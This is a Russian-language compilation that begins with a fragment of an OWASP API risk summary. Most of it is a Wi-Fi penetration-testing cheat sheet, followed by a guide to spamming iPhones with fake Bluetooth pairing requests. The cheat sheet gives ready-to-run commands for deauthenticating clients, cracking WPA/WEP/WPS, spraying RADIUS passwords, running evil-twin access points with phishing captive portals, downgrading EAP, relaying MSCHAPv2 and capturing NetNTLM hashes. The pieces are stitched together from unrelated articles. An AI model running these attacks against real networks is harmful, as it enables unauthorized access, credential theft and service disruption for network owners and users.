Кроме того, злоумышленник может проводить различные виды атак внедрения на целевое API через скомпрометированные внешние API. Атаки внедрения могут включать в себя SQL-инъекции, инъекции команд или другие формы уязвимостей выполнения кода, которые могут привести к несанкционированному управлению целевым API или даже сервером, на котором оно работает. Кроме того, злоумышленники могут предпринимать атаки отказа в обслуживании (DoS) против целевого API, манипулируя или нарушая поток данных от скомпрометированных внешних API, что влияет на доступность и надежность услуг целевого API.

Как предотвратить

• При оценке поставщиков услуг оцените их уровень безопасности API.
• Гарантируйте, что все взаимодействия с API происходят через безопасный канал связи (TLS).
• Всегда проверяйте и правильно очищайте данные, полученные от интегрированных API, перед использованием.
• Ведите разрешенный список известных мест, куда могут перенаправлять вас интегрированные API: не следуйте перенаправлениям слепо.

Отступление для разъяснений

В документе от OWASP по каждому риску/угрозе приводится подробная информация:

• Threat agents/Attack vectors - определение источника угрозы или вектора атаки
• Security Weakness - описание недостатков, которые могут быть использованы
• Impacts - предположения о возможном вреде, который может быть нанесен организации в результате реализации риска
• Is the API Vulnerable? - описание почему эта угроза актуальна для API
• Example Attack Scenarios - примеры атак
• How To Prevent - возможный набор практик и мер безопасности для CI/CD
• References - ссылки на подобные уязвимости, утечки и рекомендации по защите

Помните, что использование полученных знаний и навыков должно быть ограничено законными и этическими рамками, и вмешательство в чужие сети без разрешения является неприемлемым и незаконным действием.

Этот документ больше похож на чек-лист для самопроверки и может содержать полезные советы и хитрости. Все было протестировано на Kali Linux v2023.1 (64-битной версии) и WiFi Pineapple Mark VII Basic с прошивкой v1.0.2, а также на Kali Linux v2023.1 (64-битной версии) и WiFi Pineapple NANO с прошивкой v2.7.0.

Для получения справки по любым инструментам вы можете использовать команду <название_инструмента> [-h | -hh | --help] или man <название_инструмента>. Иногда опция -h может быть недоступной из-за конфликта с другой опцией, например, с опцией "хост" или какой-то другой. В таком случае используйте -hh или --help, либо прочтите руководство с помощью команды man.

Вам также могут пригодиться следующие веб-сайты при написании отчета:

cwe.mitre.org/data
owasp.org/projects
cheatsheetseries.owasp.org
nvd.nist.gov/vuln-metrics/cvss/v3-calculator

first.org/cvss/calculator/4.0

nvd.nist.gov/ncp/repository
attack.mitre.orgа

Проверьте популярный инструмент для аудита беспроводных сетей v1s1t0r1sh3r3/airgeddon. Благодарность автору!

Оглавление

• А что использовать ?
• Настройка
• Мониторинг
• Взлом
• WPA/WPA2 Handshake
• PMKID Attack
• ARP Request Replay Attack
• Атака Hirte
• WPS PIN
• Атака на WPA/WPA2-Enterprise (MGT)
• Словари
• Password Spraying
• Пост-эксплуатация
• WPA/WPA2-Personal (PSK) Rogue AP Evil Twin
• Базовая точка доступа WPA/WPA2-PSK
• WPA/WPA2-PSK AP Evil Twin + Captive Portal Attack
• WPA/WPA2-PSK AP Evil Twin + (половинный) захват рукопожатия WPA
• WPA/WPA2-Enterprise (MGT) Rogue AP Evil Twin
• WPA/WPA2-Enterprise AP Evil Twin + Кража учетных данных RADIUS
• EAP Downgrade Attack
• Полное понижение версии EAP (с самого сильного до самого слабому)
• Подход, оптимизированный по скорости (от самого сильного к самому слабому)
• WPA/WPA2-Enterprise AP Evil Twin + EAP (MSCHAPv2) Relay
• RADIUS Credentials Management
• WPA/WPA2-Enterprise AP Evil Twin + Captive Portal Attack
• WPA/WPA2-Enterprise AP Evil Twin + NetNTLM Hash Capture
• Mind карта для пентеста wifi
• Krack - ни разу не пригодилось
• MacStealer: Wi-Fi Client Isolation Bypass

А что использовать ?

ALFA Network AWUS036ACH чипсет RTL8812AU

ALFA Network AWUS036NHA чипсет AR9271L

ALFA Network AWUS1900 чипсет RTL8814AU

Настройка

Просмотр конфигурации сетевых интерфейсов:

ifconfig && iwconfig && airmon-ng

Включение/отключение сетевого интерфейса:

ifconfig wlan0 up
ifconfig wlan0 down

Перезапуск менеджера сети:

service NetworkManager restart

Проверка регуляторной области беспроводной сети (WLAN):

iw reg get

Установка регуляторной области беспроводной сети (WLAN):

Увеличение/уменьшение мощности беспроводного интерфейса (высокая мощность может быть незаконной в некоторых странах):

iwconfig wlan0 txpower 40

Также, можно использовать дополнительное ПО для данной настройки. Измененная конфигурация регулирования ограничения доступных частот и максимальной мощности передатчика в соответствии с региональными настройками - ссылка на github.

Мониторинг

Установка беспроводного сетевого интерфейса в режим мониторинга:

airmon-ng start wlan0
ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up

Установка беспроводного сетевого интерфейса в режим мониторинга на указанном канале:

airmon-ng start wlan0 8
iwconfig wlan0 channel 8

[Дополнительно] Остановка служб, которые могут мешать работе беспроводных сетевых интерфейсов в режиме мониторинга:

airmon-ng check kill

Вернуть беспроводный сетевой интерфейс в режим управления (managed mode):

airmon-ng stop wlan0mon
ifconfig wlan0 down && iwconfig wlan0 mode managed && ifconfig wlan0 up

Ищите беспроводные сети в вашей области:

airodump-ng --wps -w airodump_sweep_results wlan0mon
wash -a -i wlan0mon

bash

opkg update && opkg install libpcap reaver

bash

opkg update && opkg install libpcap && opkg -d sd install wash

Мониторинг беспроводной сети для захвата рукопожатий/запросов:

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid

Если вы указали выходной файл, не забудьте остановить airodump-ng после завершения мониторинга, потому что это приведет к заполнению всего доступного места на диске большим файлом PCAP.

Для получения дополнительной информации о беспроводных точках доступа, такой как их MAC-адрес, название производителя и т. д., вы можете использовать инструменты, такие как Kismet или WiFi Pineapple.

Взлом

Проверить поддержку беспроводным интерфейсом инъекции пакетов:

aireplay-ng --test wlan1 -e essid -a FF:FF:FF:FF:FF:FF

WPA/WPA2 Handshake

Мониторинг беспроводной сети для захвата четырехступенчатого рукопожатия WPA/WPA2:

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid

[Опционально] Деаутентифицировать клиентов из беспроводной сети:

aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF

Запустить атаку словарем против рукопожатия WPA/WPA2:

aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF -w rockyou.txt airodump_essid_results*.

PMKID Attack

Взлом аутентификации WPA/WPA2 без деаутентификации клиентов.

Установка необходимых инструментов на Kali Linux:

apt update && apt -y install hcxtools

Начните захват PMKID хешей для всех близлежащих сетей:

hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon

[Опционально] Начните захват PMKID хешей для указанных беспроводных сетей:

echo HH:HH:HH:HH:HH:HH | sed 's/\://g' >> filter.txt
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist

Иногда может потребоваться несколько часов, чтобы захватить один PMKID хеш. Извлеките PMKID хеши из файла PCAP:

hcxpcaptool hcxdumptool_results.cap -k hashes.txt

Запустите атаку словарем PMKID хешей:

hashcat -m 22000 -a 0 --session=cracking --force --status -O -o hashcat_results.txt

ARP Request Replay Attack

Если целевая беспроводная сеть не перегружена, то захват достаточного количества IVs(initialization vectors) для взлома аутентификации WEP может занять несколько дней.

Чтобы ускорить этот процесс, выполните фиктивную аутентификацию в беспроводной сети с несуществующим MAC-адресом и поддерживайте соединение:

aireplay-ng --fakeauth 6000 -o 1 -q 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF

Если в сети активировано фильтрование MAC-адресов, выполните фиктивную аутентификацию в беспроводной сети с существующим MAC-адресом:

aireplay-ng --fakeauth 0 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF

Чтобы отслеживать количество захваченных IVs(initialization vectors), запустите airodump-ng для мониторинга беспроводной сети и следите за столбцом "#Data" (попробуйте захватить около 100 000 IVs(initialization vectors)):

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid

Запустите стандартную атаку с повторением ARP-запросов против беспроводной сети:

aireplay-ng --arpreplay wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF

[Опционально] Деаутентифицировать клиентов из беспроводной сети:

aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF

Взломать аутентификацию WEP:

aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF replay_arp*.cap

Атака Hirte

Атака Hirte (High-rate Injection test) - это тест высокоскоростной инъекции, который используется для проверки безопасности беспроводных сетей. Эта атака направлена на проверку, насколько устойчива сеть к высокоскоростной инъекции пакетов.

Основная идея атаки Hirte заключается в том, что она генерирует высокоскоростной поток сетевых пакетов и направляет его на беспроводную сеть. Это может использоваться для проверки наличия уязвимостей в сетевом оборудовании, которое может не справляться с такой высокой нагрузкой.

Эта атака нацелена на клиентов, а не на точки доступа беспроводных сетей. Вам необходимо знать SSID (идентификаторы беспроводных сетей) ваших целевых WiFi-сетей.

[Опционально] Настройте фиктивную WiFi-сеть WEP, если реальная сеть отсутствует:

airbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a FF:FF:FF:FF:FF:FF

При необходимости включите беспроводной интерфейс, что связать клиентов с фейковой WiFi-сетью. Мы разбирали, как это сделать, в первом пункте статьи.

Чтобы мониторить настоящую/фейковую WiFi-сеть для захвата рукопожатий/запросов используйте:

airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid

Генерация пакетов клиентов в Вашем радиусе воспроизводится следующим образом:

aireplay-ng --cfrag -D wlan1 -e essid -h FF:FF:FF:FF:FF:FF

[Опционально] Для деаутентификации клиентов от настоящей/фейковой WiFi-сети используется:

aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF

Перебор WEP-аутентификации:

aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF airodump_essid_results*.cap

WPS PIN

WiFi Protected Setup, WPS - стандарт и одноименный протокол полуавтоматического создания WiFi-сети. Создан он был для упрощения развертывания и подключения к WiFi-сетям.

Существует два типа WPS:

• WPS с пин-кодом из восьми цифр,где на клиенте нужно ввести тот же код, то и на точке доступа
• Кнопка WPS, которую нужно на и на точке доступа, и на клиенте с интервалом меньше пары минут

Из всего этого получается, что точки доступа WiFi с включенным WPS уязвимы к атаке брутфорса(перебора) PINа. При успешном перебора можно будет подключиться к точке доступа, а заодно и узнать её WPA/WPA2 пароль. Перебор пина невозможен на тех точках доступа, где необходимо нажимать кнопки.

Перебор WPS PINа:

reaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF

А для перебора PINа с задержкой между попытками используйте:

reaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF

Атака на WPA/WPA2-Enterprise (MGT)

WPA/WPA2 Enterprise - это один из наиболее безопасных методов обеспечения безопасности беспроводных сетей, особенно в корпоративной среде. В этой подглаве статьи мы рассмотрим аспекты взлома аутентификации WPA/WPA2 Enterprise с использованием метода аутентификации MGT (Machine-Generated Token).

Захват имен пользователей RADIUS:

• С помощью Wireshark: найдите поле «Идентификация» в сообщениях EAP типа «Ответ, Идентификация».
• С использованием crEAP:

python crEAP.py -i mon0 -c <channel>

Перебор учетных записей RADIUS / Password Spraying

./eaphammer --eap-spray \
	--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
	--essid <target_ESSID> \
	--password <password_to_spray> \
	--user-list <usernames_list>
	

Флаг --interface-pool используется для предоставления eaphammer списком беспроводных интерфейсов, с помощью которых будет создано многозадачное выполнение. Ссылка на документацию

Захват и взлом рукопожатий LEAP и EAP-MD5

Протоколы EAP-MD5 и MD5 не используют безопасный туннель для аутентификации клиента. В связи с этим существует возможность перехвата вызова аутентификации и ответа на него, а затем выполнения офлайн-взлома. Это означает, что данные аутентификации могут быть подвержены риску, если не применяются дополнительные меры безопасности.

• Захват трафика и запись захваченных рукопожатий в файл:

airdump-ng -c <channel> --bssid <AP_MAC> -w <capture> mon0

• (Дополнительно) Деаутентификация клиента от точки доступа:

aireplay-ng --deauth 5 -c <MAC_target> -a <MAC_AP> mon0

• Взлом

eapmd5pass r <capture> -w <wordlist>	# Для EAP-MD5
asleap -r <capture> -W <wordlist>		# Для LEAP (взлом MSCHAPv2 запроса/ответа)
asleap -C <mschapv2_challenge> -R <mschapv2_response> -W <wordlist>  # Формат запроса/ответа, разделенный двоеточием

Взлом запроса/ответа MSCHAPv2 (например, EAP-PEAPv0, EAP-TTLS, EAP-FAST)

• MSCHAPv2 может использоваться как "Внутренний протокол EAP/Аутентификации" (внутри TLS-туннеля) в нескольких методах EAP, таких как EAP-PEAPv0, EAP-TTLS, EAP-FAST.
• Для захвата вызова/ответа MSCHAPv2 требуется провести атаку "Зловредный AP" (Evil Twin Attack) и отключить проверку сертификата сервера на стороне клиента (см. eaphammer).

asleap -C <mschapv2_challenge> -R <mschapv2_response> -W <wordlist> 

Словари

Вы можете найти классический rockyou.txt в /usr/share/wordlists или же использовать SecLists - довольно полезную коллекцию разнотипных словарей, использующуюся для оценки безопасности.

Установка словарей SecLists (будет храниться в /usr/share/seclists):

apt update && apt install seclists

Список других популярных коллекций словарей:

• - xmendez/wfuzz;
• - assetnote/commonspeak2-wordlists;
• - weakpass.com/wordlist;
• - packetstormsecurity.com/Crackers/wordlists.

Password Spraying

Password Spraying или же распыление паролей - атака, в которой злоумышленник берет максимально возможное количество имен пользователей и несколько паролей, а затем подбирает каждое из имен пользователей, пока одно из них не будет подобрано верно.

Но для воспроизведения данной атаки Вам в первую очередь понадобятся несколько хороших ключевых слов, способных описать Вашу цель. Таковыми могут быть:

• Имя компании;
• Аббревиатуры;
• Что-то, что связано с сервисами или продуктами цели;
• И так далее.

Пост-эксплуатация

Если включена фильтрация MAC-адресов, то поменяйте MAC беспроводного интерфейса на существующий:

ifconfig wlan0 down && macchanger --mac FF:FF:FF:FF:FF:FF && ifconfig wlan0 up

Когда Вы получили доступ к WiFi-сети, пройдитесь следующими инструментами:

• - yersinia -G;
• - responder -wF -i 192.168.8.5;
• - wireshark.

Попробуйте подключиться к WEB-интерфейсу точки доступа. Поищите в Интернете список путей и учетных записей по умолчанию.

Запустите сканирования/перебор сети.

WPA/WPA2-Personal (PSK) Rogue AP Evil Twin

• Для проведения атаки "Evil Twin" с использованием настройки WPA/WPA2 требуется знание парольной фразы целевой сети (например, на конференции, если пароль уже был взломан...).
• Если пароль неизвестен, можно настроить атаку "Evil Twin" с открытой сетью (например, для попытки получения парольной фразы с помощью фишинга через атаку с захватом сессии с помощью портала аутентификации).

Базовая точка доступа WPA/WPA2-PSK

С общим доступом к Интернету (по умолчанию):

berate_ap <interface_AP> <interface_internet> <SSID> <passphrase>

Без совместного использования Интернета

berate_ap -n <interface_AP> <SSID> <passphrase>

Общий доступ к Интернету через мост (предварительно настроенный интерфейс моста)

berate_ap -m bridge <interface_AP> <interface_internet> <SSID> <passphrase>

Совместное использование Интернета с того же интерфейса Wi-Fi

berate_ap <interface_AP> <interface_AP> <SSID> <passphrase>

Включить IEEE 802.11n (с частотой 40 МГц)

berate_ap --ieee80211n --ht_capab '[HT40+]' <interface_AP> <interface_internet> <SSID> <passphrase>

Включить изоляцию клиента

berate_ap --isolate-clients <interface_AP> <interface_internet> <SSID> <passphrase>

WPA/WPA2-PSK AP Evil Twin + Captive Portal Attack

С использованием wifiphisher:

wifiphisher -aI <interface_rogue_AP> -jI <interface_jamming> --essid <target_SSID> -pK <passphrase> -kN

С использованием eaphammer:

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk \
--essid <SSID> --wpa-passphrase <passphrase> --captive-portal  # WPA2 по-умолчанию

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk \
--essid <SSID> --wpa-passphrase <passphrase> --captive-portal --wpa-version 1  # Принудительный WPA1

Для достижения наилучших результатов в фишинге:

• Клонировать легальную страницу (wget);
• Скопируйте клонированную веб-страницу в каталог /var/www/html/ (eaphammer обслуживает веб-страницу отсюда в соответствии с конфигурацией Apache2 по умолчанию).

WPA/WPA2-PSK AP Evil Twin + (половинный) захват рукопожатия WPA

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk \
--essid <SSID> --wpa-passphrase randompassphrase --capture-wpa-handhshake

WPA/WPA2-Enterprise (MGT) Rogue AP Evil Twin

Атака "Evil Twin" на сети WPA/WPA2-Enterprise возможна только в случае, если:

1. Метод EAP, используемый для аутентификации клиента, не использует клиентский сертификат (например, EAP-TLS, PEAPv0(EAP-TTLS)), так как в этом случае нет учетных данных, которые можно было бы украсть.
2. Метод EAP, используемый для аутентификации клиента, не требует серверного сертификата (например, EAP-MD5, LEAP), или в развертывании EAP не требуется проверка сертификатов сервера на рабочих станциях (или клиент вручную принимает недействительный сертификат, если это возможно).

Стандартные показатели (лично для меня):

• Эта атака эффективна против устройств на операционной системе Android.
• Эффективна против устройств на операционной системе iOS, но может потребовать подтверждения сертификата.
• Против устройств на операционной системе Windows может быть захвачен только вызов-ответ.

WPA/WPA2-Enterprise AP Evil Twin + Кража учетных данных RADIUS

Этот тип атаки может использоваться для кражи учетных данных RADIUS (в чистом виде или, чаще всего, вызов-ответ, например, MSCHAPv2), когда используется EAP с аутентификацией клиента на основе учетных данных.

С использованием berate_ap:

(Дополнительно) Для более убедительной атаки сертификат, представляемый пользователям при аутентификации, должен быть похож на легитимный сертификат. Сертификат, используемый легитимной точкой доступа (AP), можно извлечь из захвата сети с помощью следующего инструмента: ссылка на скрипт.

./extract_EAP.sh -r <capture file>
./extract_EAP.sh -i mon0

Создание корпоративной сети (запросит информацию для использования в создаваемом сертификате) и захват учетных данных EAP:

berate_ap --eap --mana-wpe --mana-credout <file_captured_creds> <interface_AP> <interface_internet> <SSID>

Поддерживаемые режимы EAP, как минимум: ссылка на документацию:

• EAP-PEAP/MSCHAPv2 (both PEAPv0 и PEAPv1)
• EAP-PEAP/GTC (both PEAPv0 и PEAPv1)
• EAP-PEAP/MD5 (both PEAPv0 и PEAPv1)
• EAP-TTLS/EAP-MD5
• EAP-TTLS/EAP-GTC
• EAP-TTLS/EAP-MSCHAPv2
• EAP-TTLS/MSCHAPv2
• EAP-TTLS/MSCHAP
• EAP-TTLS/PAP
• EAP-TTLS/CHAP
• EAP-MD5
• EAP-MSCHAPv2
• EAP-GTC

С использованием eaphammer:

Создание self-signed сертификатов x.509.

./eaphammer --cert-wizard

Информация о сертификатах: ссылка на документацию.

Запустите атаку "Зловредный AP" против точки доступа WPA-Enterprise и захватите учетные данные EAP:

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \
 --essid <SSID_corporate_wifi> --creds  # Use WPA2 by default

EAP Downgrade Attack

Сбалансированный подход (самый эффективный)

При использовании eaphammer поведение по умолчанию заключается в использовании сбалансированного подхода к снижению уровня EAP. Он предлагает следующие последовательности методов EAP во время процесса согласования EAP:

# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2  (inner authentication)
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Eaphammer сначала пытается снизить уровень до GTC, а затем сразу переходит к более надежным методам EAP, если попытка не удается. Этот сбалансированный подход разработан для максимизации воздействия при минимизации риска долгих согласований EAP.

Референс - Ссылка

Полное понижение версии EAP (с самого сильного до самого слабого)

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap  \
 --essid <SSID_corporate_wifi> --negotiate weakest --creds

В этом случае eaphammer предлагает методы EAP в следующем порядке:

# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2 (inner authentication)
GTC,TTLS-PAP,MD5,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,TTLS-MSCHAPV2,TTLS

Подход, оптимизированный по скорости (от самого сильного к самому слабому)

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap  \
 --essid <SSID_corporate_wifi> --negotiate speed --creds

В этом случае eaphammer предлагает методы EAP, которые с наибольшей вероятностью будут успешными в первую очередь:

# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2 (inner authentication)
MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,GTC,TTLS-PAP,TTLS-MSCHAP,MD5

Используйте этот режим, если у вас возникли проблемы с завершением процесса аутентификации EAP клиентами в режиме по умолчанию.

WPA/WPA2-Enterprise AP Evil Twin + EAP (MSCHAPv2) Relay

Эта атака может быть использована, когда метод EAP использует MSCHAPv2 для аутентификации клиента. Она пересылает вызов/ответ к оригинальной точке доступа (AP), чтобы иметь возможность подключиться к сети без необходимости взламывать учетные данные MSCHAPv2.

• Создание Evil Twin AP:

berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout <file_captured_creds> \
<interface_AP> <interface_internet> <SSID>

• Создайте файл конфигурации для wpa-sycophant на основе этого примера:

network={
  ssid="TestingEAP"
  # SSID, который вы хотите ретранслировать и аутентифицировать.
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=""
  anonymous_identity=""
  password=""
  # Это инициализирует переменные для меня.
  # -------------
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  # Мы не хотим обратного подключения к себе, поэтому добавьте сюда свой поддельный BSSID.
  bssid_blacklist=00:14:22:01:23:45
}

Запустите wpa-sycophant:

./wpa_sycophant.sh -c wpa_sycophant_example.conf -i <interface>

RADIUS Credentials Management

Учетные данные RADIUS должны быть добавлены в файл eap_user hostapd. В eaphammer доступен интерфейс для выполнения этой операции:

./ehdb --list  # List creds in local db
./ehdb --add --identity <username> --password <password>  # Добавить учетные записи в базу данных
./ehdb --add --identity <username> --nt-hash <ntlm_hash>  # Добавить учетные записи с хэшем NTLM в базу данных
./ehdb --delete --identity-is <username>  # Удалить запись из базы данных
./ehdb --delete --delete-all  # Удалить все записи в базе данных

Референс - Ссылка

WPA/WPA2-Enterprise AP Evil Twin + Captive Portal Attack

Важно: требуется знание учетных данных RADIUS клиента (добавленных в файл eap_user hostapd) в большинстве методов EAP (особенно в методах EAP, требующих взаимной аутентификации, например, MSCHAPv2).

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \
 --essid <SSID_corporate_wifi> --captive-portal

Для достижения наилучших результатов в фишинге:

• Клонировать легальную страницу (wget);
• Скопируйте клонированную веб-страницу в каталог /var/www/html/ (eaphammer обслуживает веб-страницу отсюда в соответствии с конфигурацией Apache2 по умолчанию).

WPA/WPA2-Enterprise AP Evil Twin + NetNTLM Hash Capture

Атака с использованием враждебного портала перенаправляет HTTP-трафик на SMB-ресурс, находящийся на машине атакующего:

./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \
 --essid <SSID_corporate_wifi> --hostile-portal

Mind карта для пентеста wifi

Ссылка

Krack - ни разу не пригодилось

Ссылка

MacStealer: Wi-Fi Client Isolation Bypass

Ссылка

tg - https://t.me/bh_cat

Требования

Нам нужно Android-устройство с правами root и установленным пользовательским ядром NetHunter или любым другим ядром, которое поддерживает встроенный Bluetooth-чип или любой внешний Bluetooth-адаптер. В случае использования внешнего Bluetooth-адаптера необходимо иметь адаптер OTG для подключения его к смартфону. И не забудьте о целевом iPhone.

В моем случае я буду использовать OnePlus 7T Pro с встроенным чипом Bluetooth и внешним Bluetooth-адаптером.

Как это работает

Сопряжение устройств через Bluetooth Low Energy (BLE) на устройствах Apple осуществляется с использованием пакетов рекламы (ADV) и следует определенному процессу для установления безопасного соединения между двумя устройствами. Вот общий обзор того, как это происходит:

1. Реклама (Advertising): Гаджет-устройство, такое как AirTags, AirPods, Apple TV и т. д., рекламирует себя, транслируя ADV-пакеты. Эти пакеты содержат важную информацию о них, такую как название, услуги и идентификатор.
2. Сканирование (Scanning): iPhone сканирует близлежащие устройства BLE, прослушивая ADV-пакеты. Когда он обнаруживает ADV-пакет от таких устройств, он собирает информацию и выводит уведомление.
3. Установление соединения (Establishing a Connection): Когда iPhone решает соединиться с устройством (например, пользователь выбирает устройство для сопряжения), он отправляет запрос на соединение. Это устанавливает безопасное и зашифрованное соединение между двумя устройствами.

Это стандартный процесс сопряжения устройств. Однако проблема заключается в том, что любое устройство Apple в окружающей среде получает такое уведомление о сопряжении. Именно поэтому мы можем имитировать наше Android-устройство для отправки этих сообщений о сопряжении и заставить устройства iOS в окрестностях поверить, что мы, например, AirPods. В результате этого это может рассматриваться как локальная атака Denial of Service (DoS).

Установка

Мы начнем с процесса установки AppleJuice, затем активируем наше устройство Bluetooth и протестируем инструмент.

Давайте перейдем к процессу установки, доступному на GitHub.

Откройте приложение NetHunter Terminal и клонируйте проект:

git clone https://github.com/ECTO-1A/AppleJuice.git && cd ./AppleJuice

Установите необходимые зависимости:

sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev

Установите pybluez и pycrypto:

pip3 install git+https://github.com/pybluez/pybluez.git#egg=pybluez

pip3 install pycryptodome

Установите необходимое для AppleJuice:

pip3 install -r requirements.txt

Установка должна быть успешно завершена. Теперь нам нужно активировать наше устройство Bluetooth. Откройте приложение NetHunter, перейдите в раздел "Bluetooth Arsenal" и запустите Bluebinder, Dbus Services, Bluetooth Service и Interface. В случае, если интерфейс не был инициализирован правильно, нажмите на значок трех точек в правом верхнем углу и убедитесь, что запущены функции "Update" и "Setup".

Чтобы убедиться, что ваш адаптер обнаружен, используйте команду hcitool для перечисления доступных адаптеров из приложения NetHunter Terminal с помощью следующей команды:

hcitool dev

В результате были обнаружены два адаптера: внутренний (hci0) и внешний (hci1), как показано на следующем скриншоте.

Если вы используете внутренний адаптер, то вам следует работать с интерфейсом hci0. Если у вас есть внешний адаптер, то вам нужно будет работать с интерфейсом hci1. По умолчанию AppleJuice использует интерфейс hci0. Если вы хотите изменить это, вам нужно отредактировать скрипт app.py и присвоить правильный интерфейс (1) переменной dev_id, как показано на Рисунке 3.

Вернитесь в каталог AppleJuice и предоставьте исполняемое разрешение для скрипта app.py следующей командой:

chmod +x app.py

Использование

Запустите скрипт, чтобы перечислить доступные устройства, которые вы можете подделать:

python3 app.py

Для выбора одной из опций используйте аргумент -d с номером присвоенного гаджета. В команде ниже я подделаю AirPods, используя значение 1.

python3 app.py -d 1

В результате любой iPhone или iPad с включенным Bluetooth в вашей близости получит запрос на сопряжение, как показано на следующем скриншоте. Если вы нажмете "Подключить", то никаких дополнительных действий не последует, что означает, что для устройств iOS нет никакого вреда.

Кроме того, я создал быстрый скрипт на Python, который будет каждые 5 секунд перебирать все доступные устройства, чтобы запутать ближайшие устройства iOS. Вы можете посмотреть демонстрационное видео в начале блога. Скрипт доступен на GitHub.

Предотвращение

Нет многого, что можно сделать с протоколом оповещения, который по умолчанию включен, поэтому единственное, что вы можете сделать, это отключать Bluetooth, когда вам он не нужен.

Вывод

В ходе моих тестов мне не удалось подделать все устройства из списка, возможно, возникли какие-то ошибки. Когда я решал отправить запрос на сопряжение для другого устройства, целевой iPhone все равно получал запрос от предыдущего выбранного устройства. Однако это не является большой проблемой. Эти уведомления отображаются даже на заблокированном экране.

У внутренних Bluetooth-чипов есть определенные ограничения по дальности действия, поэтому использование внешнего адаптера даже с внешней и съемной антенной может обеспечить еще более широкое покрытие области для отображения всплывающих уведомлений.

Также я прикрепляю оригинальный пост, чтобы вы могли прочесть оригинал данной статьи, без переработок, данный эксперимент я реализую на Xiaomi mi 9t и сделаю обновления на своём GitHub

В результате отправка этих запросов не наносит вреда устройствам iOS, но они могут легко раздражаться, так как это можно рассматривать как локальную атаку отказа в обслуживании (DoS).

Если вы являетесь поклонником Flipper Zero, вы также можете протестировать эту шутку, следуя инструкции "Annoying Apple Fans: The Flipper Zero Bluetooth Prank Revealed".